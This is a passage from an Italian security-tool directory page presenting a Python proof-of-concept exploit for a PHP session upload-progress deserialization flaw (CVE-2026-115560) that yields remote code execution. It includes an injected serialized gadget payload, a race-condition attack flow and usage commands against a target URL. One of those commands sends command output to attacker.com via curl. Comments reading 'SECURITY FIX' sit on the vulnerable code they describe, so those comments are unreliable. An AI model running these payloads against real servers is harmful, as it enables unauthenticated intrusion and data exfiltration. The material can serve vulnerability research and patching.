Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/llcforge/cve-2026-115560
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubllcforge/cve-2026-115560

CVE-2026-115560

PoC in Python che sfrutta CVE-2026-115560, una discrepanza nel serialize-handler del progresso di caricamento della sessione PHP che consente l'iniezione di oggetti non autenticata e l'RCE tramite un caricamento basato su race-condition.

Vedi Repository
2 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    383
  • 5

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    328
  • 6

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    288

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-115560 -- Disallineamento del serialize-handler nel progresso di caricamento delle sessioni PHP (RCE non autenticata)

CVE CVSS CWE Language Status Author


Metadati

CampoValore
CVE IDCVE-2026-115560
VendorThe PHP Group
Versioni interessatePHP 7.x, 8.0 – 8.4.x (tutte le build con configurazione predefinita di session.upload_progress)
Versione correttaNessuna patch — mitigazione ufficiale: session.upload_progress.enabled=0
Advisoryadvisory informativo php.net 2026-10-23
CVSS 3.19.8 Critico
CWECWE-502 — Deserializzazione di dati non attendibili
Vettore di attaccoRete
Autenticazione richiestaNessuna (non autenticata)
ImpattoEsecuzione di codice remoto non autenticata tramite object injection PHP
Precondizionisession.upload_progress.enabled=1 (predefinito PHP) + l'applicazione cambia serializer a runtime

Descrizione

CVE-2026-115560 è una vulnerabilità di esecuzione di codice remoto non autenticata nell'estensione session di PHP, divulgata il 2026-10-23 — due giorni dopo le release di emergenza PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Colpisce qualsiasi applicazione PHP in cui tutte e tre le precondizioni sussistono contemporaneamente:

  1. Il server php.ini configura session.serialize_handler = php_binary o session.serialize_handler = php_serialize
  2. Il codice dell'applicazione chiama ini_set('session.serialize_handler', 'php') prima di session_start()
  3. session.upload_progress.enabled = 1 (il valore predefinito di PHP)

La causa principale è un disallineamento del serialize-handler: il sottosistema di progresso del caricamento delle sessioni di PHP viene eseguito prima del RINIT (prima di qualsiasi codice dell'applicazione) e scrive il file di sessione usando l'handler configurato sul server (php_serialize). Quando l'applicazione passa successivamente all'handler php e chiama session_start(), rilegge il file di sessione usando il deserializzatore php, che divide sul primo carattere | e deserializza tutto ciò che segue.

Poiché l'attaccante controlla il valore del campo POST PHP_SESSION_UPLOAD_PROGRESS — che PHP memorizza come chiave di array non sanificata nel file di sessione — può iniettare un | seguito da un oggetto PHP serializzato arbitrario. L'handler php lo deserializza, attivando le gadget chain __destruct / __wakeup e ottenendo la RCE.

L'exploit è un attacco concorrente a due richieste: una richiesta invia lentamente un caricamento di file di grandi dimensioni (mantenendo viva la chiave di sessione malevola nel file di sessione), mentre una seconda richiesta legge la sessione, attivando la deserializzazione. Con il valore predefinito session.upload_progress.cleanup=1, la finestra di race viene mantenuta aperta per tutta la durata del caricamento — ottenibile nell'intervallo di 13–38 secondi con un corpo di più MB.


Analisi approfondita della causa principale

php-src/ext/session/session.c          php-src/main/rfc1867.c
─────────────────────────────          ──────────────────────
php_session_rfc1867_callback()         MULTIPART_EVENT_FILE_START
  └─ php_rinit_session(0)              PS(serializer) = server ini (php_serialize)
  └─ php_session_rfc1867_update()
       └─ php_session_flush(1)         ← writes session file with php_serialize
            key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
            value = array(start_time, current_file, ...)

--- (upload still in flight) ---

Application code (application.php):
  ini_set('session.serialize_handler', 'php')   // SECURITY FIX: CWE-502 -- ini switch creates mismatch
  session_start()
    └─ PS_SERIALIZER_DECODE_FUNC(php)
         splits at first '|'
         unserialize(everything after '|')       ← attacker-controlled gadget chain
         __destruct() fires → RCE

File di sessione risultante (a metà caricamento)

a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
                            ^
                            php handler splits here and unserializes the rest

Codice vulnerabile (estensione PHP Session)

/* ext/session/session.c -- php_session_rfc1867_callback (PHP <= 8.4.x) */
static void php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra)
{
    /* SECURITY FIX: CWE-502 -- PS(serializer) resolved from server ini, not application ini */
    if (event == MULTIPART_EVENT_FILE_START) {
        php_rinit_session(0);           // uses server-configured serialize_handler
    }
    if (event == MULTIPART_EVENT_FILE_END || event == MULTIPART_EVENT_END) {
        php_session_rfc1867_update(progress, 1);   // writes with server handler
        // PS(session_status) = php_session_none — not locked against handler re-init
    }
}
// Vulnerable application pattern
ini_set('session.serialize_handler', 'php');  // switches handler AFTER rfc1867 write
session_start();                              // reads back with 'php', deserializes mismatch

Flusso di attacco

flowchart LR
    A([Attacker]) -->|POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
    B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
    C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
    D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
    E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
    F -->|__destruct fires| G([RCE\ncode execution as www-data])
    style A fill:#1a0810,color:#e94560
    style G fill:#1a0810,color:#e94560
    style F fill:#3d0015,color:#fff
    style D fill:#1a2010,color:#7ec8a0

Utilizzo del PoC

pip install -r requirements.txt

# Check preconditions only (no exploit)
python poc.py -u http://target.example.com/app.php --check-only -v

# Full exploit: inject id command via __destruct gadget
python poc.py -u http://target.example.com/app.php -c "id" -v

# Custom gadget class name and RCE payload
python poc.py -u http://target.example.com/app.php -c "curl http://attacker.com/$(id)" \
              --gadget ExecOnDestruct --upload-size 8 -o result.json

# Proxy through Burp
python poc.py -u http://target.example.com/app.php -c "id" --proxy http://127.0.0.1:8080 --insecure

Flag

Scarica lo strumento